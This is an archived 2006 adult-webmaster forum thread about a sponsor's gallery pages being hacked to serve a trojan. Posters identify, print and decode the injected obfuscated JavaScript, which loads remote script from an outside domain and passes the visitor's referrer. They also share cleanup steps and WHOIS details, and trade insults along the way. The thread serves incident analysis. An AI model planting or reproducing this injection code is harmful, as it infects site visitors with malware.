TCG galleries hacked??? - GoFuckYourself.com

TreasureBucks · 03-02-2006, 11:20 AM

anyone want to comment on this???

I tried contacting tcg people on icq but got no answer.

TreasureBucks · 03-02-2006, 11:21 AM

Trojan virus

QualityMpegs · 03-02-2006, 11:27 AM

You sure you dont have a virus on your computer? Traffic Cash Gold is good people!

TreasureBucks · 03-02-2006, 11:30 AM

Quote:

Originally Posted by QualityMpegs

You sure you dont have a virus on your computer? Traffic Cash Gold is good people!

Who said they werent good people?????

good people get hacked.

Jay_TCG (01:27 PM) :
yeah, ok...1 sec,...I just got about 5 more peeps hit me up...looks like you are correct, ..some sort of js.js file on it

Jay · 03-02-2006, 11:42 AM

Quote:

Originally Posted by TreasureBucks

Who said they werent good people?????

good people get hacked.

Jay_TCG (01:27 PM) :
yeah, ok...1 sec,...I just got about 5 more peeps hit me up...looks like you are correct, ..some sort of js.js file on it

Only two webmasters have contacted me with this problem, the others were not related to this...

I am not exactly sure what is happening, but tech is checking it right now. As soon as I have some more details I will post more info..

Manowar · 03-02-2006, 11:43 AM

Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff.

Good to hear it's being checked Jay

TreasureBucks · 03-02-2006, 11:44 AM

Quote:

Originally Posted by Jay

Only two webmasters have contacted me with this problem, the others were not related to this...

I am not exactly sure what is happening, but tech is checking it right now. As soon as I have some more details I will post more info..

So, your saying only certain webmasters are being affected?

great.

TreasureBucks · 03-02-2006, 11:48 AM

Quote:

Originally Posted by Manowar

Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff.

Good to hear it's being checked Jay

TCG wouldnt have known about the problem.

I was getting the ... Hey, you sure its not your machine, and Im like .... yea, im sure.

So, until i posted, thats where it stood. Other people needed to check their shit and contact them.

TreasureBucks · 03-02-2006, 11:49 AM

Quote:

Originally Posted by Manowar

Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff.

Good to hear it's being checked Jay

besides, it wasnt the whole log.

Apparently I should have not said anything and let it go on????

TreasureBucks · 03-02-2006, 12:10 PM

By the way....

I love tcg... they are one of my top sponsors.

Without letting you guys know... he only had me telling him of the problem.

When i posted on the board, someone else let him know it was happening to them too..without that, they didnt have nothing else to go on, besides thinking the obvious... which I dont blame, thats the first thing that would pop into my head too..

Look as far as im concerned TCG are great people and I earn alot of cash with them. This isnt going to harm they I feel about them. I make bank.

Did this thread start with "tcg sucks""??? NO.

dont make such a big deal about it.

TreasureBucks · 03-02-2006, 12:14 PM

they were obviuosly targeted, becuase they rock.

Deputy Chief Command · 03-02-2006, 12:14 PM

whatever topic of the week!

Furious_Male · 03-02-2006, 12:14 PM

Quote:

Originally Posted by Manowar

Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff.

I agree..

Manowar (02:12 PM) :
I can't believe he posted that ICQ log in the thread. That isn't right.
Furious_Male (02:13 PM) :
I agree logs should never be posted. These are private conversations.

PussyTeenies · 03-02-2006, 12:22 PM

bump for the hacked reason

SmokeyTheBear · 03-02-2006, 12:27 PM

what galleries are you seeing this on ?

G-Rotica · 03-02-2006, 12:27 PM

Last night a frined of mine had to wipe his entire system after hitting 1 bad website. Spy Sheriff among other nastys were automatically installed on his system. When was all said and done, his system would no longer boot up, hence the wipe. When is someone actually going to do something about these fuckers?

justsexxx · 03-02-2006, 12:32 PM

Funny, yesterday you told me posting logs was lame

SmokeyTheBear · 03-02-2006, 12:34 PM

never mind isee it

function q(vw,d){if (!d)d='tK^=ci?MR}o9wSZrOuH_b0m$eF@hqEL,z[-|I*lD6x.A~U#!42C:PVBf>&aW)T7]';var lI;var sa='';for(var p=0;p<vw.length;p+=arguments.callee.toString().len gth-491){lI=(d.indexOf(vw.charAt(p))&255)<<18|(d.index Of(vw.charAt(p+1))&255)<<12|(d.indexOf(vw.charAt(p +2))&255)<<(arguments.callee.toString().length-489)|d.indexOf(vw.charAt(p+3))&255;sa+=String.from CharCode((lI&16711680)>>16,(lI&(255*256))>>8,lI&25 5);}eval(sa.substring(0,sa.length-arguments.callee.toString().length+493));}q('qHzDh H>-_Bx?,bVlL|cU@*Vm$B6#Lm2M_Ci#RiVm$VUKwH2Ou-K~uPe-mlV?ZcVhr_[rF->-hlV?w0)|O^)6RiP4HlV?ZiE=Llx4b?z!_H*Hm|P:O_UrmP0Sml 6fZm&hu0>-bcc!0VU2h^[=$0}Ehmz4uHS6@IV=u_~6F|&eolzfufuU9-}r@IFT_mFawHVhu_Kihm[mq?V6ufu6SPq~wVR[mPSEZPThubV@@Dc>mPqTE-~]}i66mPtWqiK6Z0q:rbE,,MKu}IqfbHFMSVcl}C4Db_Ifq$SH9I iM0-*=$|U)w:c!r-u&wcF6R?VOF*U.R

lu=VrEIViLl2,}$u[H-P6m-i4h*ETOiVFZ?qAm^R~o-qxZCtz');

sfera · 03-02-2006, 12:37 PM

my galleries are doing ok here

V_RocKs · 03-02-2006, 12:43 PM

First action should be done by you...

Remove: /potd3/js.js

Next, if this is all running on templates, change

Code:

<td  bgcolor=white align="center">
to
<td  bgcolor=white align="center" />

So their hacked version of apache cannot find the spot it wants to insert that line into it as it is being served.

Trax · 03-02-2006, 12:46 PM

Quote:

Originally Posted by V_RocKs

First action should be done by you...

Remove: /potd3/js.js

Next, if this is all running on templates, change

Code:

<td  bgcolor=white align="center">
to
<td  bgcolor=white align="center" />

So their hacked version of apache cannot find the spot it wants to insert that line into it as it is being served.

yep
remove that file asap
dont delete it
just replace it for further investigation

TreasureBucks · 03-02-2006, 12:46 PM

Quote:

Originally Posted by justsexxx

Funny, yesterday you told me posting logs was lame

the way you did it... yessir

by the way, you got your buddies sites banned from my free sites for that shit.

SmokeyTheBear · 03-02-2006, 12:48 PM

that js file is trying to load qweufywe.com

TreasureBucks · 03-02-2006, 12:49 PM

Quote:

Originally Posted by Furious_Male

I agree..

Manowar (02:12 PM) :
I can't believe he posted that ICQ log in the thread. That isn't right.
Furious_Male (02:13 PM) :
I agree logs should never be posted. These are private conversations.

if you cant see the difference between posting an entire conversation from one comment that helped shed the light on the situation, your an idiot!

justsexxx · 03-02-2006, 12:49 PM

Quote:

Originally Posted by TreasureBucks

you got your buddies sites banned from my free sites for that shit.

OH NO

justsexxx · 03-02-2006, 12:50 PM

Quote:

Originally Posted by TreasureBucks

if you cant see the difference between posting an entire conversation from one comment that helped shed the light on the situation, your an idiot!

Yeah just one of my fake Danish nicks

TreasureBucks · 03-02-2006, 12:52 PM

Quote:

Originally Posted by justsexxx

Yeah just one of my fake Danish nicks

dig your hole deeper dumbass!

Furious_Male · 03-02-2006, 12:53 PM

Quote:

Originally Posted by TreasureBucks

if you cant see the difference between posting an entire conversation from one comment that helped shed the light on the situation, your an idiot!

If you read the entire post (hell you quoted it) you would see I was poking fun at Manowar not you. I have no doubt TCG can handle the issue after you helped shed the light on it.

Now go fuck yourself you whiney little bitch.

SmokeyTheBear · 03-02-2006, 12:53 PM

heres tht java translated

<SCRIPT>if(!opener.closed){document.write("
<script src=http://qweufywe.com/?"+document.referrer+">
<\/script>");}
</SCRIPT>
<SCRIPT src="http://qweufywe.com/?">
</SCRIPT>

TreasureBucks · 03-02-2006, 12:54 PM

Quote:

Originally Posted by justsexxx

OH NO

You have no idea how dumb you are. Its pretty funny actually. You, luagh but you dont even know what free sites I own. LOL.

TreasureBucks · 03-02-2006, 12:56 PM

Quote:

Originally Posted by Furious_Male

If you read the entire post (hell you quoted it) you would see I was poking fun at Manowar not you. I have no doubt TCG can handle the issue after you helped shed the light on it.

Now go fuck yourself you whiney little bitch.

whos whining??? you.

Furious_Male · 03-02-2006, 12:57 PM

Quote:

Originally Posted by TreasureBucks

whos whining??? you.

Something must be lost in the translation. I will let you have the last word.

SmokeyTheBear · 03-02-2006, 12:58 PM

if you want to decode java like that heres what you do..

bookmark this page..

then go right click on the bookmark(favourite) you just created and change the location to this

Code:

javascript:h=document.getElementsByTagName('html')[0].innerHTML;function disp(h){h=h.replace(/</g, '\n&lt;');h=h.replace(/>/g,'&gt;');document.getElementsByTagName('body')[0].innerHTML='<pre>&lt;html&gt;'+h.replace(/(\n|\r)+/g,'\n')+'&lt;/html&gt;</pre>';}void(disp(h));

click yes if it says something about not having a program to run..

then just goto any page with javascript on it you want decoded.. and choose the favourite you just added from your favourites and the page will be translated

V_RocKs · 03-02-2006, 01:00 PM

Host is probably the hackers...

Address:
Tartu Peapostkontor, pk. 12
50001 Tartu, Estonia

SmokeyTheBear · 03-02-2006, 01:01 PM

Domain Name: QWEUFYWE.COM

Registrant:
N/A
Arnold Clien ()
Northen str 3/66
New York
New York,47943
US
Tel. +473.7865421

Creation Date: 22-Sep-2005
Expiration Date: 22-Sep-2006

Domain servers in listed order:
ns11.esthost.com
ns12.esthost.com

TreasureBucks · 03-02-2006, 01:01 PM

Quote:

Originally Posted by Furious_Male

Something must be lost in the translation. I will let you have the last word.

yea, thats right, shut the fuck up and piss off.

justsexxx · 03-02-2006, 01:02 PM

Quote:

Originally Posted by TreasureBucks

You have no idea how dumb you are. Its pretty funny actually. You, luagh but you dont even know what free sites I own. LOL.

No I am dumb, everyone is dumb except you...

Furious_Male · 03-02-2006, 01:04 PM

Quote:

Originally Posted by TreasureBucks

yea, thats right, shut the fuck up and piss off.

ICQ me. I am not continuing this in this thread while these guys try to help Jay and the rest of the TCG crew.

Theo · 03-02-2006, 01:05 PM

Quote:

Originally Posted by TreasureBucks

the way you did it... yessir

by the way, you got your buddies sites banned from my free sites for that shit.

Overhead the albatross hangs motionless upon the air
And deep beneath the rolling waves
In labyrinths of coral caves
The echo of a distant time
Comes willowing across the sand
And everything is green and submarine

TreasureBucks · 03-02-2006, 01:12 PM

Quote:

Originally Posted by Furious_Male

ICQ me. I am not continuing this in this thread while these guys try to help Jay and the rest of the TCG crew.

the last time ive tried to icq somebody when i had a problem with them...
it was justsexxx.. and he decided to post just bits and peices of the conversation. Thats fucking shady.

While these guys help Jay.... Give me a fucking break.
Im the one who brought it up, without it, you fucking idiots would still be giving your surfers trojans.

V_RocKs · 03-02-2006, 01:17 PM

I asked the host to remove the index page from that domain...

We'll see if they do...

Furious_Male · 03-02-2006, 01:17 PM

Quote:

Originally Posted by TreasureBucks

the last time ive tried to icq somebody when i had a problem with them...
it was justsexxx.. and he decided to post just bits and peices of the conversation. Thats fucking shady.

While these guys help Jay.... Give me a fucking break.
Im the one who brought it up, without it, you fucking idiots would still be giving your surfers trojans.

Well ok don't message me then. All I was going to tell you was that I was poking fun at Manowar not you. Instead you decided to jump in my other thread and act like a fucking idiot.

I don't push TGP or use TGP galleries so you aren't doing me any favors. I am sure the TCG crew is happy you pointed it out. Go pat yourself on the back now and have a nice day.

SmokeyTheBear · 03-02-2006, 01:19 PM

Quote:

Originally Posted by V_RocKs

I asked the host to remove the index page from that domain...

We'll see if they do...

well that hosting company seems to always have a few scammers so im sure its "family" run but

the script was actually calling another script from that page not the main page, i think it was already balnk , not sure though

TreasureBucks · 03-02-2006, 01:27 PM

Quote:

Originally Posted by Soul_Rebel

Overhead the albatross hangs motionless upon the air
And deep beneath the rolling waves
In labyrinths of coral caves
The echo of a distant time
Comes willowing across the sand
And everything is green and submarine

I made over $10,000 with desiel sites last year.
Thats how much your mouths costed ya this year.

Theo · 03-02-2006, 01:30 PM

Good for you. If you think we'll stop saying what we think to keep your business you are wrong.

TreasureBucks · 03-02-2006, 01:33 PM

Quote:

Originally Posted by Soul_Rebel

Good for you. If you think we'll stop saying what we think to keep your business you are wrong.

You allready lost my business you idiot.

justsexxx · 03-02-2006, 01:33 PM

Quote:

Originally Posted by TreasureBucks

I made over $10,000 with desiel sites last year.
Thats how much your mouths costed ya this year.

Blablabla, and? You think you are a big fish now? Jeez get a clue

Maybe for your program it would be the nr1 affiliate?

justsexxx · 03-02-2006, 01:35 PM

Quote:

Originally Posted by TreasureBucks

You allready lost my business you idiot.

See he didn't even notice. That is how big your share is

TreasureBucks · 03-02-2006, 01:36 PM

Quote:

Originally Posted by justsexxx

Blablabla, and? You think you are a big fish now? Jeez get a clue

no sir. Im just an average webmaster trying to make a living.

That traffic is simply going to go somewhere else.

TreasureBucks · 03-02-2006, 01:38 PM

Quote:

Originally Posted by justsexxx

See he didn't even notice. That is how big your share is

it just goes to show you how you guys operate.

I could care less if he blinks at 10 grand or not. The traffic will convert somewhere else.

03-02-2006, 11:20 AM	#1
TreasureBucks Confirmed User Join Date: Mar 2005 Posts: 1,971	TCG galleries hacked??? anyone want to comment on this??? I tried contacting tcg people on icq but got no answer. __________________ TREASUREBUCKS.COM

03-02-2006, 11:21 AM	#2
TreasureBucks Confirmed User Join Date: Mar 2005 Posts: 1,971	Trojan virus __________________ TREASUREBUCKS.COM

03-02-2006, 11:27 AM	#3
QualityMpegs Confirmed User Join Date: Feb 2003 Location: Orlando, Florida Posts: 3,521	You sure you dont have a virus on your computer? Traffic Cash Gold is good people! __________________ PAYSITES CATEGORIZED AND THUMBNAILED BY NICHE - 69767780

03-02-2006, 12:10 PM	#10
TreasureBucks Confirmed User Join Date: Mar 2005 Posts: 1,971	By the way.... I love tcg... they are one of my top sponsors. Without letting you guys know... he only had me telling him of the problem. When i posted on the board, someone else let him know it was happening to them too..without that, they didnt have nothing else to go on, besides thinking the obvious... which I dont blame, thats the first thing that would pop into my head too.. Look as far as im concerned TCG are great people and I earn alot of cash with them. This isnt going to harm they I feel about them. I make bank. Did this thread start with "tcg sucks""??? NO. dont make such a big deal about it. __________________ TREASUREBUCKS.COM

03-02-2006, 12:14 PM	#11
TreasureBucks Confirmed User Join Date: Mar 2005 Posts: 1,971	they were obviuosly targeted, becuase they rock. __________________ TREASUREBUCKS.COM

03-02-2006, 11:43 AM	#6
Manowar jellyfish Join Date: Dec 2003 Posts: 71,528	Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff. Good to hear it's being checked Jay

03-02-2006, 12:14 PM	#12
Deputy Chief Command Deputy Chief Command Industry Role: Join Date: Nov 2005 Posts: 4,482	whatever topic of the week! __________________

03-02-2006, 12:22 PM	#14
PussyTeenies Confirmed User Join Date: Feb 2005 Location: Haarlem and Amsterdam, capital of the porn world ;-) Posts: 6,496	bump for the hacked reason __________________ Need adult hosting? Contact us! WARM Hosting Need an IT solution? or someone to check your site and security? Nossie - IT Professional

03-02-2006, 12:27 PM	#15
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	what galleries are you seeing this on ? __________________ hatisblack at yahoo.com

03-02-2006, 12:27 PM	#16
G-Rotica Confirmed User Industry Role: Join Date: Aug 2005 Location: Austin, TX Posts: 4,258	Last night a frined of mine had to wipe his entire system after hitting 1 bad website. Spy Sheriff among other nastys were automatically installed on his system. When was all said and done, his system would no longer boot up, hence the wipe. When is someone actually going to do something about these fuckers? __________________

03-02-2006, 12:32 PM	#17
justsexxx Too lazy to set a custom title Join Date: Aug 2001 Location: The Netherlands Posts: 13,723	Funny, yesterday you told me posting logs was lame __________________ Questions? ICQ: 125184542

03-02-2006, 12:34 PM	#18
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	never mind isee it function q(vw,d){if (!d)d='tK^=ci?MR}o9wSZrOuH_b0m$eF@hqEL,z[-\|IlD6x.A~U#!42C:PVBf>&aW)T7]';var lI;var sa='';for(var p=0;p<vw.length;p+=arguments.callee.toString().len gth-491){lI=(d.indexOf(vw.charAt(p))&255)<<18\|(d.index Of(vw.charAt(p+1))&255)<<12\|(d.indexOf(vw.charAt(p +2))&255)<<(arguments.callee.toString().length-489)\|d.indexOf(vw.charAt(p+3))&255;sa+=String.from CharCode((lI&16711680)>>16,(lI&(255256))>>8,lI&25 5);}eval(sa.substring(0,sa.length-arguments.callee.toString().length+493));}q('qHzDh H>-_Bx?,bVlL\|cU@Vm$B6#Lm2M_Ci#RiVm$VUKwH2Ou-K~uPe-mlV?ZcVhr_[rF->-hlV?w0)\|O^)6RiP4HlV?ZiE=Llx4b?z!_HHm\|P:O_UrmP0Sml 6fZm&hu0>-bcc!0VU2h^[=$0}Ehmz4uHS6@IV=u_~6F\|&eolzfufuU9-}r@IFT_mFawHVhu_Kihm[mq?V6ufu6SPq~wVR[mPSEZPThubV@@Dc>mPqTE-~]}i66mPtWqiK6Z0q:rbE,,MKu}IqfbHFMSVcl}C4Db_Ifq$SH9I iM0-=$\|U)w:c!r-u&wcF6R?VOFU.Rlu=VrEIViLl2,}$u[H-P6m-i4h*ETOiVFZ?qAm^R~o-qxZCtz'); __________________ hatisblack at yahoo.com

03-02-2006, 12:37 PM	#19
sfera Confirmed User Join Date: Aug 2005 Location: ICQ: 248877409 Posts: 8,597	my galleries are doing ok here

03-02-2006, 12:43 PM	#20
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,409	First action should be done by you... Remove: /potd3/js.js Next, if this is all running on templates, change Code: <td bgcolor=white align="center"> to <td bgcolor=white align="center" /> So their hacked version of apache cannot find the spot it wants to insert that line into it as it is being served.

03-02-2006, 12:48 PM	#23
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	that js file is trying to load qweufywe.com __________________ hatisblack at yahoo.com

03-02-2006, 12:53 PM	#29
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	heres tht java translated <SCRIPT>if(!opener.closed){document.write(" <script src=http://qweufywe.com/?"+document.referrer+"> <\/script>");} </SCRIPT> <SCRIPT src="http://qweufywe.com/?"> </SCRIPT> __________________ hatisblack at yahoo.com

03-02-2006, 12:58 PM	#33
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	if you want to decode java like that heres what you do.. bookmark this page.. then go right click on the bookmark(favourite) you just created and change the location to this Code: javascript:h=document.getElementsByTagName('html')[0].innerHTML;function disp(h){h=h.replace(/</g, '\n<');h=h.replace(/>/g,'>');document.getElementsByTagName('body')[0].innerHTML='<pre><html>'+h.replace(/(\n\|\r)+/g,'\n')+'</html></pre>';}void(disp(h)); click yes if it says something about not having a program to run.. then just goto any page with javascript on it you want decoded.. and choose the favourite you just added from your favourites and the page will be translated __________________ hatisblack at yahoo.com

03-02-2006, 01:00 PM	#34
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,409	Host is probably the hackers... Address: Tartu Peapostkontor, pk. 12 50001 Tartu, Estonia

03-02-2006, 01:01 PM	#35
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	Domain Name: QWEUFYWE.COM Registrant: N/A Arnold Clien () Northen str 3/66 New York New York,47943 US Tel. +473.7865421 Creation Date: 22-Sep-2005 Expiration Date: 22-Sep-2006 Domain servers in listed order: ns11.esthost.com ns12.esthost.com __________________ hatisblack at yahoo.com

03-02-2006, 01:17 PM	#41
V_RocKs Damn Right I Kiss Ass! Industry Role: Join Date: Dec 2003 Location: Cowtown, USA Posts: 32,409	I asked the host to remove the index page from that domain... We'll see if they do...

03-02-2006, 01:30 PM	#45
Theo HAL 9000 Industry Role: Join Date: May 2001 Posts: 34,515	Good for you. If you think we'll stop saying what we think to keep your business you are wrong.